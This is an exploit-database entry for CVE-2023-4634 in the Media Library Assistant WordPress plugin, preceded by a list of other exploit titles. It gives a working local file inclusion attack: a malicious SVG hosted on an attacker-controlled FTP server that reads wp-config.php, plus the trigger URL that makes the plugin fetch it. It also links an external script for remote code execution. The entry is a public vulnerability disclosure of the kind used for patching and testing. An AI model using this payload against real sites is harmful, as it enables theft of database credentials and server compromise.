f3649a641f
24 changes to exploits/shellcodes/ghdb Minio 2022-07-29T19-40-48Z - Path traversal Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Denial Of Service Atcom 2.7.x.x - Authenticated Command Injection Ruijie Reyee Mesh Router - MITM Remote Code Execution (RCE) Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Admin Password Change Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Credentials Extraction OpenPLC WebServer 3 - Denial of Service Splunk 9.0.5 - admin account take over BoidCMS v2.0.0 - authenticated file upload vulnerability Cacti 1.2.24 - Authenticated command injection when using SNMP options Chitor-CMS v1.1.2 - Pre-Auth SQL Injection Clcknshop 1.0.0 - SQL Injection Coppermine Gallery 1.6.25 - RCE Crypto Currency Tracker (CCT) 9.5 - Admin Account Creation (Unauthenticated) GLPI GZIP(Py3) 9.4.5 - RCE Limo Booking Software v1.0 - CORS Media Library Assistant Wordpress Plugin - RCE and LFI Online ID Generator 1.0 - Remote Code Execution (RCE) Shuttle-Booking-Software v1.0 - Multiple-SQLi Webedition CMS v2.9.8.8 - Blind SSRF WEBIGniter v28.7.23 File Upload - Remote Code Execution Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation Wordpress Sonaar Music Plugin 4.7 - Stored XSS Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
48 lines
No EOL
2 KiB
Text
48 lines
No EOL
2 KiB
Text
# Exploit Title: Media Library Assistant Wordpress Plugin - RCE and LFI
|
|
# Date: 2023/09/05
|
|
# CVE: CVE-2023-4634
|
|
# Exploit Author: Florent MONTEL / Patrowl.io / @Pepitoh / Twitter @Pepito_oh
|
|
# Exploitation path: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/
|
|
# Exploit: https://github.com/Patrowl/CVE-2023-4634/
|
|
# Vendor Homepage: https://fr.wordpress.org/plugins/media-library-assistant/
|
|
# Software Link: https://fr.wordpress.org/plugins/media-library-assistant/
|
|
# Version: < 3.10
|
|
# Tested on: 3.09
|
|
# Description:
|
|
# Media Library Assistant Wordpress Plugin in version < 3.10 is affected by an unauthenticated remote reference to Imagick() conversion which allows attacker to perform LFI and RCE depending on the Imagick configuration on the remote server. The affected page is: wp-content/plugins/media-library-assistant/includes/mla-stream-image.php
|
|
|
|
|
|
#LFI
|
|
|
|
Steps to trigger conversion of a remote SVG
|
|
|
|
Create a remote FTP server at ftp://X.X.X.X:21 (http will not work, see references)
|
|
|
|
Host 2 files :
|
|
- malicious.svg
|
|
- malicious.svg[1]
|
|
|
|
|
|
Payload:
|
|
For LFI, getting wp-config.php:
|
|
|
|
Both malicious.svg and malicious.svg[1] on the remote FTP:
|
|
|
|
<svg width="500" height="500"
|
|
xmlns:xlink="http://www.w3.org/1999/xlink">
|
|
xmlns="http://www.w3.org/2000/svg">
|
|
<image xlink:href= "text:../../../../wp-config.php" width="500" height="500" />
|
|
</svg>
|
|
|
|
Then trigger conversion with:
|
|
http://127.0.0.1/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1
|
|
|
|
|
|
# Directory listing or RCE:
|
|
To achieve Directory listing or even RCE, it is a little more complicated.
|
|
|
|
Use exploit available here:
|
|
https://github.com/Patrowl/CVE-2023-4634/
|
|
|
|
# Note
|
|
Exploitation will depend on the policy.xml Imagick configuration file installed on the remote server. All exploitation paths and scripts have been performed with a default wordpress configuration and installation (Wordpress has high chance to have the default Imagick configuration). |